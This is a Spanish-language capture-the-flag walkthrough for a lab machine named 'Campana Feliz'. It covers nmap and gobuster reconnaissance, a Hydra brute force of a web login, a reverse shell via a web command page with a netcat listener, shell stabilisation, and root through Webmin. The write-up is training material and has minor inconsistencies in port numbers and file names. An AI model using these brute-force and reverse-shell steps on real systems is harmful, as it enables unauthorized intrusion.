Campana Feliz
🎯 Resolución
🔍 Reconocimiento
🔎 Realizamos un escaneo exhaustivo con Nmap para identificar puertos abiertos y servicios en la máquina objetivo:
nmap -p- --open -sS -sC -sV --min-rate 2000 -n -vvv -Pn 192.168.1.119

👀 Detectamos los siguientes servicios activos:
-
🛡️ SSH
-
🌐 HTTP en el puerto 8808
-
🔐 Servicio en el puerto 10000
🕵️♂️ Análisis de vulnerabilidades
🌐 Al acceder a la página HTTP, encontramos una página vacía.

🧩 Usamos CyberChef para decodificar el contenido Base64 oculto, obteniendo pistas importantes que pueden relacionarse con credenciales o nombres.

Gracias a la herramienta online CyberChef nos decodifica

🔍 Para descubrir directorios ocultos, ejecutamos un escaneo con Gobuster buscando archivos .md, .php y .txt:
gobuster dir \
-u http://192.168.1.119:8088/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x md,php,txt
gobuster dir: Indica que realizaremos una búsqueda de directorios y archivos.-u http://192.168.1.119:8088/: Especifica la URL del objetivo.-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Define la ubicación del diccionario de palabras que utilizaremos para la búsqueda.-x md,php,txt: Indica las extensiones de archivo que estamos buscando, en este caso md, php y txt.
Durante el escaneo, encontramos un archivo llamado reverse.php, que parece estar relacionado con un sistema de login y contraseña. Al intentar ingresar con credenciales incorrectas, notamos que el sistema no bloquea los intentos, lo que nos permite realizar un ataque de fuerza bruta.
La decodificación anterior nos dio una pista, y comenzamos a suponer que una de las letras podría ser parte de la contraseña o del nombre de usuario.
Para probar esta teoría, agregamos todas las palabras decodificadas a un archivo txt y verificamos si alguno de esos términos coincide con un posible nombre de usuario o contraseña:

🎯 Explotación
⚔️ Asumiendo que el usuario es campana (por contexto del CTF), realizamos un ataque de fuerza bruta sobre la contraseña con Hydra:
hydra -l campana -P /usr/share/wordlists/rockyou.txt 192.168.1.119 -s 8088 http-post-form "/shell.php:username=^USER^&password=^PASS^:Username or password invalid"

✅ Credenciales encontradas:
Usuario: campana
Contraseña: lovely
Iniciamos sesión en la página web http://192.168.1.119:8088/shell.php con las credenciales que hemos encontrado anteriormente. La página indica que podemos ejecutar comandos y, dado que su nombre incluye "shell", decidimos intentar obtener una reverse shell.
Para ello, accedemos a la herramienta en línea ReverseShells, configuramos nuestra IP de atacante y seleccionamos un puerto cualquiera para escuchar conexiones entrantes.
En la máquina atacante, configuramos Netcat para escuchar en el puerto elegido:
nc -lvnp 6969
Luego, copiamos el comando de reverse shell generado por la herramienta y lo ejecutamos desde la página web. Esto nos permite obtener acceso a la máquina víctima.

De esta manera, establecemos una conexión de reverse shell y obtenemos acceso a la máquina objetivo.

Para mejorar la experiencia y obtener una terminal más funcional, ejecutamos los siguientes comandos
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
Con estos ajustes, tenemos una terminal más funcional y cómoda, lo que nos prepara para continuar con la escalada de privilegios.
📈 Escalada de privilegios
Durante nuestra exploración de los directorios en la máquina objetivo, encontramos un archivo txt en el directorio /opt. Dentro del archivo, había un usuario y una contraseña, junto con una URL que apuntaba al puerto 10000:
https://<IP>:10000.

En Webmin, navegamos a la sección System/Change Password. Desde ahí, aprovechamos las funcionalidades del sistema para cambiar la contraseña de root.
Una vez que establecimos una nueva contraseña, procedimos a convertirnos en root utilizando el siguiente comando y la contraseña recién configurada:
su root
